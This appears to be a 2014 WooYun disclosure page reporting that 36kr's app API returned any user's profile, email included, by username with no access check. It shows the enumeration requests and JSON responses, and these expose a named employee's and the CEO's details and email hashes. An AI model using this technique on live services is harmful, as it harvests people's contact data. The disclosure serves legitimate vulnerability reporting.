当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-072442

漏洞标题:36kr某功能设计不当导致可获取所有用户联系信息

相关厂商:36氪科技博客

漏洞作者: loli

提交时间:2014-08-15 08:50

修复时间:2014-08-15 09:03

公开时间:2014-08-15 09:03

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:10

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-15: 细节已通知厂商并且等待厂商处理中
2014-08-15: 厂商已经确认,细节仅向厂商公开
2014-08-15: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

36kr某功能设计不当导致可获取所有用户联系信息.

详细说明:

1.今天装了个36kr的android app,在app里访问自己主页时抓包看了下。

GET /api/v1/users/我的用户名.json HTTP/1.1
Host: apis.36kr.com
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip


Response包如下:

HTTP/1.1 200 OK
Server: Tengine
Date: Thu, 14 Aug 2014 15:39:55 GMT
Content-Type: application/json
Content-Length: 267
Connection: keep-alive
Keep-Alive: timeout=20
Status: 200 OK
X-UA-Compatible: IE=Edge,chrome=1
Cache-Control: max-age=0, private, must-revalidate
X-Runtime: 0.006030
X-Rack-Cache: miss
weibo: at_xinzhixiang
X-UA-Compatible: IE=Edge,chrome=1
{"id":108xx,"name":"445xxx","login":"a445xxx","email":"445xxx@qq.com","location":"","company":"","weibo":"","website":"","bio":"","tagline":"","gravatar_hash":"b3304f1ff2a6950e8893exxx","avatar_url":"http://a.36krcnd.com/user/normal_avatar/108xx.jpg"}


2.通过测试,GET /api/v1/users/我的用户名.json 用户名是可以进行遍历的,gravatar_hash md5值是邮箱的md5;
比如获取这位运营mm童鞋的信息:
GET /api/v1/users/Jivin.json HTTP/1.1
Host: apis.36kr.com
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
HTTP/1.1 200 OK
Server: Tengine
Date: Thu, 14 Aug 2014 15:53:54 GMT
Content-Type: application/json
Content-Length: 360
Connection: keep-alive
Keep-Alive: timeout=20
Status: 200 OK
weibo: at_xinzhixiang
{"id":53904,"name":"Jivin","login":"Jivin","email":"lijinwen333+krl马赛克","location":"","company":"36Kr","weibo":"李锦雯_Jivin","website":"","bio":"","tagline":"痘痘姐,求祛痘良方。","gravatar_hash":"7d371541a03a42853c35454a42f9318b","avatar_url":"http://a.36krcnd.com/user/normal_avatar/53904.jpg"}

漏洞证明:

来个CEO滴:
GET /api/v1/users/techfans.json HTTP/1.1
Host: apis.36kr.com
Connection: Keep-Alive
User-Agent: android-async-http/1.4.1 (http://loopj.com/android-async-http)
Accept-Encoding: gzip
{"id":15,"name":"techfans","login":"techfans","email":"techfans@t马赛克","location":null,"company":null,"weibo":null,"website":"http://www.techfans.net","bio":null,"tagline":null,"gravatar_hash":"18e9bafa8f18c163f53ed47f4117821f","avatar_url":"http://9429127371.a.uxengine.net/avatar/18e9bafa8f18c163f53ed47f4117821f.png?s=48"}
可批量:这里随便测试了些用户名:

xxxx.png

修复方案:

验证接口权限。

版权声明:转载请注明来源 loli@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-08-15 09:00

厂商回复:

谢谢反馈,我们已经更新修复这个问题~

最新状态:

2014-08-15:谢谢反馈,我们已经更新修复这个问题~


漏洞评价:

评论

  1. 2014-08-15 09:16 | loli 认证白帽子 ( 普通白帽子 | Rank:550 漏洞数:52 )

    速度够快的。。

  2. 2014-08-18 21:00 | HHHO ( 路人 | Rank:0 漏洞数:2 | wohoooo)

    只有5个rank,洞主您手疼心也疼吧

  3. 2014-08-20 17:22 | charles_zhang ( 路人 | Rank:4 漏洞数:1 | 做一个爱学习的小白帽。)

    反馈这么快啊

  4. 2014-08-22 18:05 | IT偏执狂 ( 路人 | Rank:6 漏洞数:3 | 禁锢我们的究竟是什么?)

    提交时间: 2014-08-15 08:50修复时间: 2014-08-15 09:03